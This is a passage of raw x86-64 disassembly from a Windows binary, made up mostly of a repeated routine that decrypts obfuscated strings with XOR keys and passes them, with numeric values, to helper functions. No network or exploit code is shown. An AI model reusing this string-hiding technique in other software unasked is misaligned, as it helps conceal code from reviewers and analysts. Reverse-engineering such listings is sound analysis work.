lea rax, [rbp + 0x17d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x17d0]
lea r8, [0x140160920]
mov edx, 4
lea rcx, [rbp + 0x440]
call fcn.14003b8c0
movups xmm0, xmmword [str.kPVRI]
movups xmmword [rbp + 0xaa0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14009a0c0
cmp r12d, 2
jl 0x14009a07f
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xaa4]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140099f80
jmp 0x14009a0c0
lea r9, [rbp + 0xaa0]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14009a090
mov dword [rbp + 0x17c8], 0x1f4
mov dword [rbp + 0x17c0], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x17c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x17c0]
lea r8, [0x140160928]
mov edx, 4
lea rcx, [rbp + 0xaa0]
call fcn.14003b8c0
movsd xmm0, qword [str.pPNe]
movsd qword [rbp + 0x450], xmm0
movzx ecx, word [0x140146570]
mov word [rbp + 0x458], cx
movzx eax, byte [0x140146572]
mov byte [rbp + 0x450], 0x48
xor byte [rbp + 0x451], 0x39
xor byte [rbp + 0x452], 0x3a
xor byte [rbp + 0x453], 0x3b
xor byte [rbp + 0x454], 0x3c
xor byte [rbp + 0x455], 0x3d
xor byte [rbp + 0x456], 0x3e
xor byte [rbp + 0x457], 0x3f
xor cl, 0x40
mov byte [rbp + 0x458], cl
xor byte [rbp + 0x459], 0x41
xor al, 0x42
mov byte [rbp + 0x45a], al
mov dword [rbp + 0x17b8], 0x42c80000
mov dword [rbp + 0x17b0], 0x3f800000
mov dword [rsp + 0x30], r13d
lea rax, str._.0f__
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x17b8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x17b0]
lea r8, [0x1401a97e4]
mov edx, 8
lea rcx, [rbp + 0x450]
call fcn.14003b8c0
movsd xmm0, qword [0x140145d88]
movsd qword [rbp + 0x460], xmm0
movzx ecx, word [0x140145d90]
mov word [rbp + 0x468], cx
movzx eax, byte [0x140145d92]
mov byte [rbp + 0x460], 0x53
xor byte [rbp + 0x461], 0x39
xor byte [rbp + 0x462], 0x3a
xor byte [rbp + 0x463], 0x3b
xor byte [rbp + 0x464], 0x3c
xor byte [rbp + 0x465], 0x3d
xor byte [rbp + 0x466], 0x3e
xor byte [rbp + 0x467], 0x3f
xor cl, 0x40
mov byte [rbp + 0x468], cl
xor byte [rbp + 0x469], 0x41
xor al, 0x42
mov byte [rbp + 0x46a], al
xor r9d, r9d
mov r8b, 1
lea rdx, [0x1401a5964]
lea rcx, [rbp + 0x460]
call fcn.14003bf70
movsd xmm0, qword [str.lXHYI]
movsd qword [rbp + 0x470], xmm0
movzx ecx, word [0x140144fe0]
mov word [rbp + 0x478], cx
movzx eax, byte [0x140144fe2]
mov byte [rbp + 0x470], 0x54
xor byte [rbp + 0x471], 0x39
xor byte [rbp + 0x472], 0x3a
xor byte [rbp + 0x473], 0x3b
xor byte [rbp + 0x474], 0x3c
xor byte [rbp + 0x475], 0x3d
xor byte [rbp + 0x476], 0x3e
xor byte [rbp + 0x477], 0x3f
xor cl, 0x40
mov byte [rbp + 0x478], cl
xor byte [rbp + 0x479], 0x41
xor al, 0x42
mov byte [rbp + 0x47a], al
movsd xmm0, qword [0x1401446c0]
movsd qword [rbp + 0x480], xmm0
movzx ecx, word [0x1401446c8]
mov word [rbp + 0x488], cx
movzx eax, byte [0x1401446ca]
mov byte [rbp + 0x480], 0x54
xor byte [rbp + 0x481], 0x39
xor byte [rbp + 0x482], 0x3a
xor byte [rbp + 0x483], 0x3b
xor byte [rbp + 0x484], 0x3c
xor byte [rbp + 0x485], 0x3d
xor byte [rbp + 0x486], 0x3e
xor byte [rbp + 0x487], 0x3f
xor cl, 0x40
mov byte [rbp + 0x488], cl
xor byte [rbp + 0x489], 0x41
xor al, 0x42
mov byte [rbp + 0x48a], al
lea r8, [0x140160924]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x480]
call fcn.14007f300
movups xmm0, xmmword [0x140145948]
movups xmmword [rbp + 0xc08], xmm0
movzx eax, byte [0x140145958]
mov byte [rbp + 0xc18], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009a4c5
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xc0c]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009a3c0
cmp r8d, 0x11
jge 0x14009a510
movsxd rax, r8d
lea r9, [rbp + 0xc08]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14009a4e0
movzx eax, word [0x140146510]
mov word [rbp + 0x498], ax
movsd xmm0, qword [str.VLeoTRZ.5B]
movzx eax, byte [0x140146512]
movsd qword [rbp + 0x490], xmm0
mov byte [rbp + 0x490], 0x46
xor byte [rbp + 0x491], 0x39
xor byte [rbp + 0x492], 0x3a
xor byte [rbp + 0x493], 0x3b
xor byte [rbp + 0x494], 0x3c
xor byte [rbp + 0x495], 0x3d
xor byte [rbp + 0x496], 0x3e
xor byte [rbp + 0x497], 0x3f
xor byte [rbp + 0x498], 0x40
xor byte [rbp + 0x499], 0x41
xor al, 0x42
mov byte [rbp + 0x49a], al
lea r9, [rbp + 0xc08]
mov r8d, 0x30120
lea rdx, [0x140160ab8]
lea rcx, [rbp + 0x490]
call fcn.140042fc0
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movsd xmm0, qword [0x140146608]
movsd qword [rbp + 0x7d0], xmm0
mov eax, dword [0x140146610]
mov dword [rbp + 0x7d8], eax
movzx eax, byte [0x140146614]
mov byte [rbp + 0x7dc], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009a6f3
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140146608]
xorps xmm2, xmm0
movd dword [rbp + 0x7d0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7d4]
xorps xmm2, xmm1
movd dword [rbp + 0x7d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7d0]
add r9, rax
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14009a700
movsd xmm0, qword [str.lksxl]
movsd qword [rbp + 0x730], xmm0
mov eax, dword [0x140146ae0]
mov dword [rbp + 0x738], eax
cmp byte [0x140146ae3], 0
je 0x14009a8b0
mov r8d, r13d
cmp r12d, 2
jl 0x14009a86e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.lksxl]
xorps xmm2, xmm0
movd dword [rbp + 0x730], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x734]
xorps xmm2, xmm1
movd dword [rbp + 0x734], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x730]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14009a880
mov r9b, 1
movaps xmm0, xmm14
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x730]
call fcn.14007f140
movups xmm0, xmmword [0x140146818]
movups xmmword [rbp + 0x1250], xmm0
movsd xmm0, qword [0x140146828]
movsd qword [rbp + 0x1260], xmm0
mov eax, dword [0x140146830]
mov dword [rbp + 0x1268], eax
cmp byte [0x140146833], 0
je 0x14009aaa0
mov r8d, r13d
cmp r12d, 2
jl 0x14009aa55
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1254]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14009a950
cmp r8d, 0x1c
jge 0x14009aaa0
movsxd rax, r8d
lea r9, [rbp + 0x1250]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14009aa70
movsd xmm0, qword [0x140144c50]
movzx eax, byte [0x140144c58]
movsd qword [rbp + 0x290], xmm0
mov byte [rbp + 0x290], 0x45
xor byte [rbp + 0x291], 0x39
xor byte [rbp + 0x292], 0x3a
xor byte [rbp + 0x293], 0x3b
xor byte [rbp + 0x294], 0x3c
xor byte [rbp + 0x295], 0x3d
xor byte [rbp + 0x296], 0x3e
xor byte [rbp + 0x297], 0x3f
xor al, 0x40
mov byte [rbp + 0x298], al
lea r8, [0x1401a983d]
lea rdx, [rbp + 0x1250]
lea rcx, [rbp + 0x290]
call fcn.14007f300
movups xmm0, xmmword [0x140146b80]
movups xmmword [rbp + 0xf20], xmm0
mov eax, dword [0x140146b90]
mov dword [rbp + 0xf30], eax
movzx eax, word [0x140146b94]
mov word [rbp + 0xf34], ax
cmp byte [0x140146b95], 0
je 0x14009ace0
mov r8d, r13d
cmp r12d, 2
jl 0x14009ac95
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xf24]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009ab90
cmp r8d, 0x16
jge 0x14009ace0
movsxd rax, r8d
lea r9, [rbp + 0xf20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14009acb0
mov eax, dword [str.VLe]
mov dword [rbp - 0x48], eax
movzx eax, word [0x140144f64]
mov word [rbp - 0x44], ax
mov byte [rbp - 0x48], 0x46
xor byte [rbp - 0x47], 0x39
xor byte [rbp - 0x46], 0x3a
xor byte [rbp - 0x45], 0x3b
xor byte [rbp - 0x44], 0x3c
xor byte [rbp - 0x43], 0x3d
lea r8, [0x1401a983b]
lea rdx, [rbp + 0xf20]
lea rcx, [rbp - 0x48]
call fcn.14007f300
movups xmm0, xmmword [str.kQUTH]
movups xmmword [rbp + 0xea8], xmm0
mov eax, dword [0x1401458c8]
mov dword [rbp + 0xeb8], eax
movzx eax, byte [0x1401458cc]
mov byte [rbp + 0xebc], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009ae95
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xeac]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009ad90
cmp r8d, 0x15
jge 0x14009aee0
movsxd rax, r8d
lea r9, [rbp + 0xea8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14009aeb0
movsd xmm0, qword [0x140146650]
movsd qword [rbp + 0x410], xmm0
movzx eax, word [0x140146658]
mov word [rbp + 0x418], ax
lea r8, [0x1401a983c]
lea rdx, [rbp + 0xea8]
lea rcx, [rbp + 0x410]
cmp byte [0x140146659], 0
je 0x14009af62
mov byte [rbp + 0x410], reloc.WLDAP32.dll_Ordinal_79
xor byte [rbp + 0x411], 0x39
xor byte [rbp + 0x412], 0x3a
xor byte [rbp + 0x413], 0x3b
xor byte [rbp + 0x414], 0x3c
xor byte [rbp + 0x415], 0x3d
xor byte [rbp + 0x416], 0x3e
xor byte [rbp + 0x417], 0x3f
xor byte [rbp + 0x418], 0x40
xor byte [rbp + 0x419], 0x41
call fcn.14007f300
movups xmm0, xmmword [str.p___s_A]
movups xmmword [rbp + 0x16e8], xmm0
movups xmm0, xmmword [0x140145478]
movups xmmword [rbp + 0x1708], xmm0
mov eax, dword [0x140145490]
movsd xmm0, qword [0x140145488]
movups xmm1, xmmword [0x140145468]
mov dword [rbp + 0x1720], eax
movsd qword [rbp + 0x1718], xmm0
movups xmmword [rbp + 0x16f8], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x14009b0f5
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x16ec]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14009aff0
cmp r8d, 0x3c
jge 0x14009b140
movsxd rax, r8d
lea r9, [rbp + 0x16e8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x14009b110
mov eax, dword [str._._D]
mov dword [rbp + 0x7c8], eax
movzx eax, byte [0x140146524]
movsd xmm0, qword [str.lKS_XL]
mov byte [rbp + 0x7cc], al
movsd qword [rbp + 0x7c0], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x14009b27e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.lKS_XL]
xorps xmm2, xmm0
movd dword [rbp + 0x7c0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c4]
xorps xmm2, xmm1
movd dword [rbp + 0x7c4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7c0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
